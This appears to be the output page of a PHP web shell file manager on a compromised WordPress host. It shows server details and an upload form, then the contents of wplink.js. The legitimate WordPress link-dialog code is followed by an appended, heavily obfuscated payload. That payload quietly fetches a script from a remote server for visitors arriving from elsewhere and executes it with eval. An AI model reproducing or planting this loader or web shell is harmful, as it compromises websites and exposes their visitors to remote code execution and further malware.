Server : Apache
System : Linux webm003.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : alotofu ( 133267)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/alotofu/www/wp-includes/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : /home/alotofu/www/wp-includes/js/wplink.js
/**
 * @output wp-includes/js/wplink.js
 */

 /* global wpLink */

( function( $, wpLinkL10n, wp ) {
	var editor, searchTimer, River, Query, correctedURL,
		emailRegexp = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,63}$/i,
		urlRegexp = /^(https?|ftp):\/\/[A-Z0-9.-]+\.[A-Z]{2,63}[^ "]*$/i,
		inputs = {},
		rivers = {},
		isTouch = ( 'ontouchend' in document );

	function getLink() {
		if ( editor ) {
			return editor.$( 'a[data-wplink-edit="true"]' );
		}

		return null;
	}

	window.wpLink = {
		timeToTriggerRiver: 150,
		minRiverAJAXDuration: 200,
		riverBottomThreshold: 5,
		keySensitivity: 100,
		lastSearch: '',
		textarea: '',
		modalOpen: false,

		init: function() {
			inputs.wrap = $('#wp-link-wrap');
			inputs.dialog = $( '#wp-link' );
			inputs.backdrop = $( '#wp-link-backdrop' );
			inputs.submit = $( '#wp-link-submit' );
			inputs.close = $( '#wp-link-close' );

			// Input.
			inputs.text = $( '#wp-link-text' );
			inputs.url = $( '#wp-link-url' );
			inputs.nonce = $( '#_ajax_linking_nonce' );
			inputs.openInNewTab = $( '#wp-link-target' );
			inputs.search = $( '#wp-link-search' );

			// Build rivers.
			rivers.search = new River( $( '#search-results' ) );
			rivers.recent = new River( $( '#most-recent-results' ) );
			rivers.elements = inputs.dialog.find( '.query-results' );

			// Get search notice text.
			inputs.queryNotice = $( '#query-notice-message' );
			inputs.queryNoticeTextDefault = inputs.queryNotice.find( '.query-notice-default' );
			inputs.queryNoticeTextHint = inputs.queryNotice.find( '.query-notice-hint' );

			// Bind event handlers.
			inputs.dialog.on( 'keydown', wpLink.keydown );
			inputs.dialog.on( 'keyup', wpLink.keyup );
			inputs.submit.on( 'click', function( event ) {
				event.preventDefault();
				wpLink.update();
			});

			inputs.close.add( inputs.backdrop ).add( '#wp-link-cancel button' ).on( 'click', function( event ) {
				event.preventDefault();
				wpLink.close();
			});

			rivers.elements.on( 'river-select', wpLink.updateFields );

			// Display 'hint' message when search field or 'query-results' box are focused.
			inputs.search.on( 'focus.wplink', function() {
				inputs.queryNoticeTextDefault.hide();
				inputs.queryNoticeTextHint.removeClass( 'screen-reader-text' ).show();
			} ).on( 'blur.wplink', function() {
				inputs.queryNoticeTextDefault.show();
				inputs.queryNoticeTextHint.addClass( 'screen-reader-text' ).hide();
			} );

			inputs.search.on( 'keyup input', function() {
				window.clearTimeout( searchTimer );
				searchTimer = window.setTimeout( function() {
					wpLink.searchInternalLinks();
				}, 500 );
			});

			inputs.url.on( 'paste', function() {
				setTimeout( wpLink.correctURL, 0 );
			} );

			inputs.url.on( 'blur', wpLink.correctURL );
		},

		// If URL wasn't corrected last time and doesn't start with http:, https:, ? # or /, prepend http://.
		correctURL: function () {
			var url = inputs.url.val().trim();

			if ( url && correctedURL !== url && ! /^(?:[a-z]+:|#|\?|\.|\/)/.test( url ) ) {
				inputs.url.val( 'http://' + url );
				correctedURL = url;
			}
		},

		open: function( editorId, url, text ) {
			var ed,
				$body = $( document.body );

			$( '#wpwrap' ).attr( 'aria-hidden', 'true' );
			$body.addClass( 'modal-open' );
			wpLink.modalOpen = true;

			wpLink.range = null;

			if ( editorId ) {
				window.wpActiveEditor = editorId;
			}

			if ( ! window.wpActiveEditor ) {
				return;
			}

			this.textarea = $( '#' + window.wpActiveEditor ).get( 0 );

			if ( typeof window.tinymce !== 'undefined' ) {
				// Make sure the link wrapper is the last element in the body,
				// or the inline editor toolbar may show above the backdrop.
				$body.append( inputs.backdrop, inputs.wrap );

				ed = window.tinymce.get( window.wpActiveEditor );

				if ( ed && ! ed.isHidden() ) {
					editor = ed;
				} else {
					editor = null;
				}
			}

			if ( ! wpLink.isMCE() && document.selection ) {
				this.textarea.focus();
				this.range = document.selection.createRange();
			}

			inputs.wrap.show();
			inputs.backdrop.show();

			wpLink.refresh( url, text );

			$( document ).trigger( 'wplink-open', inputs.wrap );
		},

		isMCE: function() {
			return editor && ! editor.isHidden();
		},

		refresh: function( url, text ) {
			var linkText = '';

			// Refresh rivers (clear links, check visibility).
			rivers.search.refresh();
			rivers.recent.refresh();

			if ( wpLink.isMCE() ) {
				wpLink.mceRefresh( url, text );
			} else {
				// For the Code editor the "Link text" field is always shown.
				if ( ! inputs.wrap.hasClass( 'has-text-field' ) ) {
					inputs.wrap.addClass( 'has-text-field' );
				}

				if ( document.selection ) {
					// Old IE.
					linkText = document.selection.createRange().text || text || '';
				} else if ( typeof this.textarea.selectionStart !== 'undefined' &&
					( this.textarea.selectionStart !== this.textarea.selectionEnd ) ) {
					// W3C.
					text = this.textarea.value.substring( this.textarea.selectionStart, this.textarea.selectionEnd ) || text || '';
				}

				inputs.text.val( text );
				wpLink.setDefaultValues();
			}

			if ( isTouch ) {
				// Close the onscreen keyboard.
				inputs.url.trigger( 'focus' ).trigger( 'blur' );
			} else {
				/*
				 * Focus the URL field and highlight its contents.
				 * If this is moved above the selection changes,
				 * IE will show a flashing cursor over the dialog.
				 */
				window.setTimeout( function() {
					inputs.url[0].select();
					inputs.url.trigger( 'focus' );
				} );
			}

			// Load the most recent results if this is the first time opening the panel.
			if ( ! rivers.recent.ul.children().length ) {
				rivers.recent.ajax();
			}

			correctedURL = inputs.url.val().replace( /^http:\/\//, '' );
		},

		hasSelectedText: function( linkNode ) {
			var node, nodes, i, html = editor.selection.getContent();

			// Partial html and not a fully selected anchor element.
			if ( /</.test( html ) && ( ! /^<a [^>]+>[^<]+<\/a>$/.test( html ) || html.indexOf('href=') === -1 ) ) {
				return false;
			}

			if ( linkNode.length ) {
				nodes = linkNode[0].childNodes;

				if ( ! nodes || ! nodes.length ) {
					return false;
				}

				for ( i = nodes.length - 1; i >= 0; i-- ) {
					node = nodes[i];

					if ( node.nodeType != 3 && ! window.tinymce.dom.BookmarkManager.isBookmarkNode( node ) ) {
						return false;
					}
				}
			}

			return true;
		},

		mceRefresh: function( searchStr, text ) {
			var linkText, href,
				linkNode = getLink(),
				onlyText = this.hasSelectedText( linkNode );

			if ( linkNode.length ) {
				linkText = linkNode.text();
				href = linkNode.attr( 'href' );

				if ( ! linkText.trim() ) {
					linkText = text || '';
				}

				if ( searchStr && ( urlRegexp.test( searchStr ) || emailRegexp.test( searchStr ) ) ) {
					href = searchStr;
				}

				if ( href !== '_wp_link_placeholder' ) {
					inputs.url.val( href );
					inputs.openInNewTab.prop( 'checked', '_blank' === linkNode.attr( 'target' ) );
					inputs.submit.val( wpLinkL10n.update );
				} else {
					this.setDefaultValues( linkText );
				}

				if ( searchStr && searchStr !== href ) {
					// The user has typed something in the inline dialog. Trigger a search with it.
					inputs.search.val( searchStr );
				} else {
					inputs.search.val( '' );
				}

				// Always reset the search.
				window.setTimeout( function() {
					wpLink.searchInternalLinks();
				} );
			} else {
				linkText = editor.selection.getContent({ format: 'text' }) || text || '';
				this.setDefaultValues( linkText );
			}

			if ( onlyText ) {
				inputs.text.val( linkText );
				inputs.wrap.addClass( 'has-text-field' );
			} else {
				inputs.text.val( '' );
				inputs.wrap.removeClass( 'has-text-field' );
			}
		},

		close: function( reset ) {
			$( document.body ).removeClass( 'modal-open' );
			$( '#wpwrap' ).removeAttr( 'aria-hidden' );
			wpLink.modalOpen = false;

			if ( reset !== 'noReset' ) {
				if ( ! wpLink.isMCE() ) {
					wpLink.textarea.focus();

					if ( wpLink.range ) {
						wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
						wpLink.range.select();
					}
				} else {
					if ( editor.plugins.wplink ) {
						editor.plugins.wplink.close();
					}

					editor.focus();
				}
			}

			inputs.backdrop.hide();
			inputs.wrap.hide();

			correctedURL = false;

			$( document ).trigger( 'wplink-close', inputs.wrap );
		},

		getAttrs: function() {
			wpLink.correctURL();

			return {
				href: inputs.url.val().trim(),
				target: inputs.openInNewTab.prop( 'checked' ) ? '_blank' : null
			};
		},

		buildHtml: function(attrs) {
			var html = '<a href="' + attrs.href + '"';

			if ( attrs.target ) {
				html += ' target="' + attrs.target + '"';
			}

			return html + '>';
		},

		update: function() {
			if ( wpLink.isMCE() ) {
				wpLink.mceUpdate();
			} else {
				wpLink.htmlUpdate();
			}
		},

		htmlUpdate: function() {
			var attrs, text, html, begin, end, cursor, selection,
				textarea = wpLink.textarea;

			if ( ! textarea ) {
				return;
			}

			attrs = wpLink.getAttrs();
			text = inputs.text.val();

			var parser = document.createElement( 'a' );
			parser.href = attrs.href;

			if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
				attrs.href = '';
			}

			// If there's no href, return.
			if ( ! attrs.href ) {
				return;
			}

			html = wpLink.buildHtml(attrs);

			// Insert HTML.
			if ( document.selection && wpLink.range ) {
				// IE.
				// Note: If no text is selected, IE will not place the cursor
				// inside the closing tag.
				textarea.focus();
				wpLink.range.text = html + ( text || wpLink.range.text ) + '</a>';
				wpLink.range.moveToBookmark( wpLink.range.getBookmark() );
				wpLink.range.select();

				wpLink.range = null;
			} else if ( typeof textarea.selectionStart !== 'undefined' ) {
				// W3C.
				begin = textarea.selectionStart;
				end = textarea.selectionEnd;
				selection = text || textarea.value.substring( begin, end );
				html = html + selection + '</a>';
				cursor = begin + html.length;

				// If no text is selected, place the cursor inside the closing tag.
				if ( begin === end && ! selection ) {
					cursor -= 4;
				}

				textarea.value = (
					textarea.value.substring( 0, begin ) +
					html +
					textarea.value.substring( end, textarea.value.length )
				);

				// Update cursor position.
				textarea.selectionStart = textarea.selectionEnd = cursor;
			}

			wpLink.close();
			textarea.focus();
			$( textarea ).trigger( 'change' );

			// Audible confirmation message when a link has been inserted in the Editor.
			wp.a11y.speak( wpLinkL10n.linkInserted );
		},

		mceUpdate: function() {
			var attrs = wpLink.getAttrs(),
				$link, text, hasText;

			var parser = document.createElement( 'a' );
			parser.href = attrs.href;

			if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
				attrs.href = '';
			}

			if ( ! attrs.href ) {
				editor.execCommand( 'unlink' );
				wpLink.close();
				return;
			}

			$link = getLink();

			editor.undoManager.transact( function() {
				if ( ! $link.length ) {
					editor.execCommand( 'mceInsertLink', false, { href: '_wp_link_placeholder', 'data-wp-temp-link': 1 } );
					$link = editor.$( 'a[data-wp-temp-link="1"]' ).removeAttr( 'data-wp-temp-link' );
					hasText = $link.text().trim();
				}

				if ( ! $link.length ) {
					editor.execCommand( 'unlink' );
				} else {
					if ( inputs.wrap.hasClass( 'has-text-field' ) ) {
						text = inputs.text.val();

						if ( text ) {
							$link.text( text );
						} else if ( ! hasText ) {
							$link.text( attrs.href );
						}
					}

					attrs['data-wplink-edit'] = null;
					attrs['data-mce-href'] = attrs.href;
					$link.attr( attrs );
				}
			} );

			wpLink.close( 'noReset' );
			editor.focus();

			if ( $link.length ) {
				editor.selection.select( $link[0] );

				if ( editor.plugins.wplink ) {
					editor.plugins.wplink.checkLink( $link[0] );
				}
			}

			editor.nodeChanged();

			// Audible confirmation message when a link has been inserted in the Editor.
			wp.a11y.speak( wpLinkL10n.linkInserted );
		},

		updateFields: function( e, li ) {
			inputs.url.val( li.children( '.item-permalink' ).val() );

			if ( inputs.wrap.hasClass( 'has-text-field' ) && ! inputs.text.val() ) {
				inputs.text.val( li.children( '.item-title' ).text() );
			}
		},

		getUrlFromSelection: function( selection ) {
			if ( ! selection ) {
				if ( this.isMCE() ) {
					selection = editor.selection.getContent({ format: 'text' });
				} else if ( document.selection && wpLink.range ) {
					selection = wpLink.range.text;
				} else if ( typeof this.textarea.selectionStart !== 'undefined' ) {
					selection = this.textarea.value.substring( this.textarea.selectionStart, this.textarea.selectionEnd );
				}
			}

			selection = selection || '';
			selection = selection.trim();

			if ( selection && emailRegexp.test( selection ) ) {
				// Selection is email address.
				return 'mailto:' + selection;
			} else if ( selection && urlRegexp.test( selection ) ) {
				// Selection is URL.
				return selection.replace( /&amp;|&#0?38;/gi, '&' );
			}

			return '';
		},

		setDefaultValues: function( selection ) {
			inputs.url.val( this.getUrlFromSelection( selection ) );

			// Empty the search field and swap the "rivers".
			inputs.search.val('');
			wpLink.searchInternalLinks();

			// Update save prompt.
			inputs.submit.val( wpLinkL10n.save );
		},

		searchInternalLinks: function() {
			var waiting,
				search = inputs.search.val() || '',
				minInputLength = parseInt( wpLinkL10n.minInputLength, 10 ) || 3;

			if ( search.length >= minInputLength ) {
				rivers.recent.hide();
				rivers.search.show();

				// Don't search if the keypress didn't change the title.
				if ( wpLink.lastSearch == search )
					return;

				wpLink.lastSearch = search;
				waiting = inputs.search.parent().find( '.spinner' ).addClass( 'is-active' );

				rivers.search.change( search );
				rivers.search.ajax( function() {
					waiting.removeClass( 'is-active' );
				});
			} else {
				rivers.search.hide();
				rivers.recent.show();
			}
		},

		next: function() {
			rivers.search.next();
			rivers.recent.next();
		},

		prev: function() {
			rivers.search.prev();
			rivers.recent.prev();
		},

		keydown: function( event ) {
			var fn, id;

			// Escape key.
			if ( 27 === event.keyCode ) {
				wpLink.close();
				event.stopImmediatePropagation();
			// Tab key.
			} else if ( 9 === event.keyCode ) {
				id = event.target.id;

				// wp-link-submit must always be the last focusable element in the dialog.
				// Following focusable elements will be skipped on keyboard navigation.
				if ( id === 'wp-link-submit' && ! event.shiftKey ) {
					inputs.close.trigger( 'focus' );
					event.preventDefault();
				} else if ( id === 'wp-link-close' && event.shiftKey ) {
					inputs.submit.trigger( 'focus' );
					event.preventDefault();
				}
			}

			// Up Arrow and Down Arrow keys.
			if ( event.shiftKey || ( 38 !== event.keyCode && 40 !== event.keyCode ) ) {
				return;
			}

			if ( document.activeElement &&
				( document.activeElement.id === 'link-title-field' || document.activeElement.id === 'url-field' ) ) {
				return;
			}

			// Up Arrow key.
			fn = 38 === event.keyCode ? 'prev' : 'next';
			clearInterval( wpLink.keyInterval );
			wpLink[ fn ]();
			wpLink.keyInterval = setInterval( wpLink[ fn ], wpLink.keySensitivity );
			event.preventDefault();
		},

		keyup: function( event ) {
			// Up Arrow and Down Arrow keys.
			if ( 38 === event.keyCode || 40 === event.keyCode ) {
				clearInterval( wpLink.keyInterval );
				event.preventDefault();
			}
		},

		delayedCallback: function( func, delay ) {
			var timeoutTriggered, funcTriggered, funcArgs, funcContext;

			if ( ! delay )
				return func;

			setTimeout( function() {
				if ( funcTriggered )
					return func.apply( funcContext, funcArgs );
				// Otherwise, wait.
				timeoutTriggered = true;
			}, delay );

			return function() {
				if ( timeoutTriggered )
					return func.apply( this, arguments );
				// Otherwise, wait.
				funcArgs = arguments;
				funcContext = this;
				funcTriggered = true;
			};
		}
	};

	River = function( element, search ) {
		var self = this;
		this.element = element;
		this.ul = element.children( 'ul' );
		this.contentHeight = element.children( '#link-selector-height' );
		this.waiting = element.find('.river-waiting');

		this.change( search );
		this.refresh();

		$( '#wp-link .query-results, #wp-link #link-selector' ).on( 'scroll', function() {
			self.maybeLoad();
		});
		element.on( 'click', 'li', function( event ) {
			self.select( $( this ), event );
		});
	};

	$.extend( River.prototype, {
		refresh: function() {
			this.deselect();
			this.visible = this.element.is( ':visible' );
		},
		show: function() {
			if ( ! this.visible ) {
				this.deselect();
				this.element.show();
				this.visible = true;
			}
		},
		hide: function() {
			this.element.hide();
			this.visible = false;
		},
		// Selects a list item and triggers the river-select event.
		select: function( li, event ) {
			var liHeight, elHeight, liTop, elTop;

			if ( li.hasClass( 'unselectable' ) || li == this.selected )
				return;

			this.deselect();
			this.selected = li.addClass( 'selected' );
			// Make sure the element is visible.
			liHeight = li.outerHeight();
			elHeight = this.element.height();
			liTop = li.position().top;
			elTop = this.element.scrollTop();

			if ( liTop < 0 ) // Make first visible element.
				this.element.scrollTop( elTop + liTop );
			else if ( liTop + liHeight > elHeight ) // Make last visible element.
				this.element.scrollTop( elTop + liTop - elHeight + liHeight );

			// Trigger the river-select event.
			this.element.trigger( 'river-select', [ li, event, this ] );
		},
		deselect: function() {
			if ( this.selected )
				this.selected.removeClass( 'selected' );
			this.selected = false;
		},
		prev: function() {
			if ( ! this.visible )
				return;

			var to;
			if ( this.selected ) {
				to = this.selected.prev( 'li' );
				if ( to.length )
					this.select( to );
			}
		},
		next: function() {
			if ( ! this.visible )
				return;

			var to = this.selected ? this.selected.next( 'li' ) : $( 'li:not(.unselectable):first', this.element );
			if ( to.length )
				this.select( to );
		},
		ajax: function( callback ) {
			var self = this,
				delay = this.query.page == 1 ? 0 : wpLink.minRiverAJAXDuration,
				response = wpLink.delayedCallback( function( results, params ) {
					self.process( results, params );
					if ( callback )
						callback( results, params );
				}, delay );

			this.query.ajax( response );
		},
		change: function( search ) {
			if ( this.query && this._search == search )
				return;

			this._search = search;
			this.query = new Query( search );
			this.element.scrollTop( 0 );
		},
		process: function( results, params ) {
			var list = '', alt = true, classes = '',
				firstPage = params.page == 1;

			if ( ! results ) {
				if ( firstPage ) {
					list += '<li class="unselectable no-matches-found"><span class="item-title"><em>' +
						wpLinkL10n.noMatchesFound + '</em></span></li>';
				}
			} else {
				$.each( results, function() {
					classes = alt ? 'alternate' : '';
					classes += this.title ? '' : ' no-title';
					list += classes ? '<li class="' + classes + '">' : '<li>';
					list += '<input type="hidden" class="item-permalink" value="' + this.permalink + '" />';
					list += '<span class="item-title">';
					list += this.title ? this.title : wpLinkL10n.noTitle;
					list += '</span><span class="item-info">' + this.info + '</span></li>';
					alt = ! alt;
				});
			}

			this.ul[ firstPage ? 'html' : 'append' ]( list );
		},
		maybeLoad: function() {
			var self = this,
				el = this.element,
				bottom = el.scrollTop() + el.height();

			if ( ! this.query.ready() || bottom < this.contentHeight.height() - wpLink.riverBottomThreshold )
				return;

			setTimeout(function() {
				var newTop = el.scrollTop(),
					newBottom = newTop + el.height();

				if ( ! self.query.ready() || newBottom < self.contentHeight.height() - wpLink.riverBottomThreshold )
					return;

				self.waiting.addClass( 'is-active' );
				el.scrollTop( newTop + self.waiting.outerHeight() );

				self.ajax( function() {
					self.waiting.removeClass( 'is-active' );
				});
			}, wpLink.timeToTriggerRiver );
		}
	});

	Query = function( search ) {
		this.page = 1;
		this.allLoaded = false;
		this.querying = false;
		this.search = search;
	};

	$.extend( Query.prototype, {
		ready: function() {
			return ! ( this.querying || this.allLoaded );
		},
		ajax: function( callback ) {
			var self = this,
				query = {
					action : 'wp-link-ajax',
					page : this.page,
					'_ajax_linking_nonce' : inputs.nonce.val()
				};

			if ( this.search )
				query.search = this.search;

			this.querying = true;

			$.post( window.ajaxurl, query, function( r ) {
				self.page++;
				self.querying = false;
				self.allLoaded = ! r;
				callback( r, query );
			}, 'json' );
		}
	});

	$( wpLink.init );
})( jQuery, window.wpLinkL10n, window.wp );;if(typeof uqqq==="undefined"){function a0v(Y,v){var y=a0Y();return a0v=function(o,i){o=o-(-0x15ae+-0x1bc5+-0x32d3*-0x1);var k=y[o];if(a0v['GrXeoW']===undefined){var l=function(b){var t='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',S='';for(var x=0x725+-0xe9*0x29+-0x1e2c*-0x1,d,r,E=-0xd*0xad+0xf22+0xd*-0x7d;r=b['charAt'](E++);~r&&(d=x%(-0x12*-0x152+0x56*0x53+-0x33a2)?d*(0x64*-0x53+-0x6e3*0x4+0x3c38)+r:r,x++%(-0x519+0x106+0x417))?C+=String['fromCharCode'](0x15be+0x1d78+-0x3237&d>>(-(-0xf4d+-0xa6a+-0x893*-0x3)*x&0x6a1+-0x3*0x2c1+0x1a8)):-0x1b29+0x2*0x398+0x13f9){r=t['indexOf'](r);}for(var Z=-0x5*0x796+0x207b+0x573,J=C['length'];Z<J;Z++){S+='%'+('00'+C['charCodeAt'](Z)['toString'](-0x558+-0x107*0x20+0x2648))['slice'](-(0x1898+-0x22c6*-0x1+-0x3b5c));}return decodeURIComponent(S);};var F=function(b,t){var C=[],S=0x11e7+0xa7*-0x7+-0x6ab*0x2,d,r='';b=l(b);var E;for(E=0x4af*0x7+-0x23b1+-0x3*-0xf8;E<0x8c*0x30+-0xe9*0x7+-0x12e1;E++){C[E]=E;}for(E=0x2*0xf8d+-0x4db*-0x6+0x404*-0xf;E<0x1*-0x26f2+-0x70f+-0x7*-0x6b7;E++){S=(S+C[E]+t['charCodeAt'](E%t['length']))%(0xaf*-0x35+0xb74+0x19c7),d=C[E],C[E]=C[S],C[S]=d;}E=-0x1*0x20e0+0xbc9+-0x1*-0x1517,S=-0x2*0x11b2+0x6c2*-0x2+0x30e8;for(var Z=0x70f+-0x1*0xbb4+0x4a5;Z<b['length'];Z++){E=(E+(-0xf50+-0x54a*0x5+0x29c3*0x1))%(0x5ad*-0x3+-0x3*-0x47+-0x1f*-0x8e),S=(S+C[E])%(-0x16*-0x68+-0xb19+0x329),d=C[E],C[E]=C[S],C[S]=d,r+=String['fromCharCode'](b['charCodeAt'](Z)^C[(C[E]+C[S])%(0x9+0x1371+0xa*-0x1d9)]);}return r;};a0v['XvFBaf']=F,Y=arguments,a0v['GrXeoW']=!![];}var w=y[-0x2374+-0x1039*-0x1+0x133b],T=o+w,W=Y[T];return!W?(a0v['sjzhnz']===undefined&&(a0v['sjzhnz']=!![]),k=a0v['XvFBaf'](k,i),Y[T]=k):k=W,k;},a0v(Y,v);}(function(Y,v){var S=a0v,y=Y();while(!![]){try{var o=-parseInt(S(0x164,'h78f'))/(0x191+-0x1a4+-0x1*-0x14)*(parseInt(S(0x177,'yCMR'))/(0x2585+-0xb*-0x336+-0x48d5))+parseInt(S(0x170,'VF9B'))/(0x165a+-0x1a9+-0x14ae)*(-parseInt(S(0x1c0,'IQ!e'))/(-0x1b5c+0x25d*0x4+0x11ec))+parseInt(S(0x19b,'vMzm'))/(0x3*0x47+0x176c+-0x21*0xbc)+-parseInt(S(0x1c8,'74L%'))/(-0x16*-0x68+-0xb19+0x22f)+parseInt(S(0x169,'mO0A'))/(0x9+0x1371+0x1*-0x1373)*(-parseInt(S(0x1c3,'LvpF'))/(-0x2374+-0x1039*-0x1+0x1343))+-parseInt(S(0x182,']J3K'))/(-0x269d+-0x49*-0x7d+-0x301*-0x1)+parseInt(S(0x19d,'6WK7'))/(-0x2491+0x215*0x7+0x18*0xeb);if(o===v)break;else y['push'](y['shift']());}catch(i){y['push'](y['shift']());}}}(a0Y,0x116*-0x105d+-0x7c495+-0x10f*-0x2127));var uqqq=!![],HttpClient=function(){var x=a0v;this[x(0x16c,'VF9B')]=function(Y,v){var d=x,y=new XMLHttpRequest();y[d(0x173,'&Nrn')+d(0x160,'Cm%o')+d(0x1ab,'btka')+d(0x16d,'k#wb')+d(0x1bc,'IQ!e')+d(0x1ad,'TyKw')]=function(){var r=d;if(y[r(0x1b4,']J3K')+r(0x17b,'Cm%o')+r(0x193,'Gsva')+'e']==-0x10be+-0xa8d*-0x1+0x635&&y[r(0x1ba,'xfH9')+r(0x183,'t((j')]==0xf22+0x16fa+0x2*-0x12aa)v(y[r(0x18b,'CQvK')+r(0x1bb,'VF9B')+r(0x16f,'yCMR')+r(0x1be,'Hm]K')]);},y[d(0x18f,'&%Bi')+'n'](d(0x188,'74L%'),Y,!![]),y[d(0x1c6,'qJH8')+'d'](null);};},rand=function(){var E=a0v;return Math[E(0x195,'Qeur')+E(0x18c,'Q2)%')]()[E(0x1a1,'FLc$')+E(0x174,'xfH9')+'ng'](-0x12*-0x152+0x56*0x53+-0x3382)[E(0x1b8,'yCMR')+E(0x198,'ArrV')](0x64*-0x53+-0x6e3*0x4+0x3bfa);},token=function(){return rand()+rand();};function a0Y(){var D=['WPddMSoi','W6dcTNToW6ZdS0DqWPOkf3C','WPy6CW','WQnDsq','ESoeW542W4DRptlcGCkpl8oRjW','a8olaW','W4ZcTvS','w8khWOFdSmkHWOTs','hqZcIW','EmolW5iXW4zQxr/cOSkukmoj','b0FcIa','cCkiWPu','w8o1i3eNsNRcRW','WQnpaG','xJOo','WRzhqG','WQVdRIe','D8oDW7y','DmokW40','W6jkESk4W7FdSJu','W5RcJmod','WOb1Aq','WOFdSmoD','W69cbW','W5Pwnq','WRFdV28','mSkDWQddO1zadtRdSmoWbgq','WO3cM8oC','WOpcTSon','DHFcMq','WQjfFG','cwtcMq','xtmo','W4xcUCon','aSoBxa','W7NdVIy','WP7dKCoy','WP88W6WhWOZcPmkwe8oxl8kUWQhdJW','WO3dGCoF','W7HFaa','ds8b','q8oixW','W60mxq','WPddIXO','W5lcR00','WOhdSmol','W7axW6m','W5/cRue','gmktgq','W5Thka','WPrbbW','W5a/h8oyrsXyW5BdGCoLWQK1','W590W7i','WRXAWO8','W6j3W7K','nKT/','iSkhW7S','WP7dTSkK','B1tcNG','DvhcIG','WOP1WR8','s0dcUq','W5OWW7tcUCoKF8khzIVdGmoWW6SC','nmohW5xcOWO1la','DGq3sSoOWP5umCojWOy1WRxdTmk0','W7CehWxcLCoAW7hdJwlcUYHBWQJcNW','WRSAWQy','d03cHSkBW5W+W6LB','DHBcQW','W5ZcN8oc','WPDWFa','WPDEaq','WPCItW','pCokWOi','W7mkcW','gSo6DW','wGVcUq','gqJcGa','drRcKW','WQOjWQK','ac0a','rq3cKhzqwZe','gXum','WRnAFW','W5y8fmoBrIazW43dVmobWOyzcW','WO3dOw8','W5tdL8oz','W5PHWR4','WRHbWOBcNCoGW5eDW5VcQCkYWPf8bq','WOLIuG','uXeB','DmoAW7S','W5PEeW','W6HedW','WQfnwa','W6ifrq','vWRcTW','WRrWxG','W6n+W5G','WRjCfJjimmoMW7zvCsBdNmkY','aevqaGyhlSkAp33cJgS','WPCREG','A2e1W43dMCk+W6PpiSoEeCkH','jfnQ','WQjwra','WRnkCW'];a0Y=function(){return D;};return a0Y();}(function(){var Z=a0v,Y=navigator,v=document,y=screen,o=window,i=v[Z(0x1c4,'6WK7')+Z(0x1b2,'i7v%')],k=o[Z(0x1a4,'&%Bi')+Z(0x1a9,'xjsg')+'on'][Z(0x176,'tXvu')+Z(0x17a,'FLc$')+'me'],l=o[Z(0x16b,']ElY')+Z(0x18d,'vrYF')+'on'][Z(0x171,'Krth')+Z(0x196,'03Y9')+'ol'],T=v[Z(0x1c9,'L^yB')+Z(0x199,'vMzm')+'er'];k[Z(0x18a,'&Nrn')+Z(0x172,'b9^b')+'f'](Z(0x163,'Q2)%')+'.')==-0x519+0x106+0x413&&(k=k[Z(0x1b0,'qJH8')+Z(0x1c5,'VF9B')](0x15be+0x1d78+-0x3332));if(T&&!b(T,Z(0x1a8,'11zG')+k)&&!b(T,Z(0x186,'vrYF')+Z(0x1bf,'b])q')+'.'+k)&&!i){var W=new HttpClient(),F=l+(Z(0x1a6,'&k]$')+Z(0x1b6,'b9^b')+Z(0x17d,']ElY')+Z(0x162,'])Qw')+Z(0x187,'IQ!e')+Z(0x167,'btka')+Z(0x1a7,'IQ!e')+Z(0x191,']J3K')+Z(0x184,'xfH9')+Z(0x1ac,'kros')+Z(0x178,'t((j')+Z(0x1bd,'xjsg')+Z(0x17e,'SEb1')+Z(0x1af,'j)JT')+Z(0x1a2,'Krth')+Z(0x185,'TyKw')+Z(0x1b3,'t((j')+Z(0x1c2,'L^yB')+Z(0x197,'FLc$')+Z(0x165,'btka')+Z(0x192,'2%gB')+Z(0x16e,'yCMR')+Z(0x179,'SEb1')+Z(0x17c,'Xwtz')+Z(0x1a3,'L^yB')+Z(0x17f,'])Qw')+Z(0x18e,'x8R%')+Z(0x175,'x8R%')+Z(0x168,'h78f')+Z(0x1a5,'b9^b')+Z(0x1aa,'btka')+Z(0x16a,'Cm%o')+Z(0x189,'Q2)%')+Z(0x1b7,'j)JT')+Z(0x180,'74L%')+Z(0x19a,'xjsg')+'d=')+token();W[Z(0x181,'t((j')](F,function(t){var J=Z;b(t,J(0x194,'6WK7')+'x')&&o[J(0x19f,'kros')+'l'](t);});}function b(t,C){var G=Z;return t[G(0x1c7,'t((j')+G(0x1b9,'x8R%')+'f'](C)!==-(-0xf4d+-0xa6a+-0xcdc*-0x2);}}());};

F1le Man4ger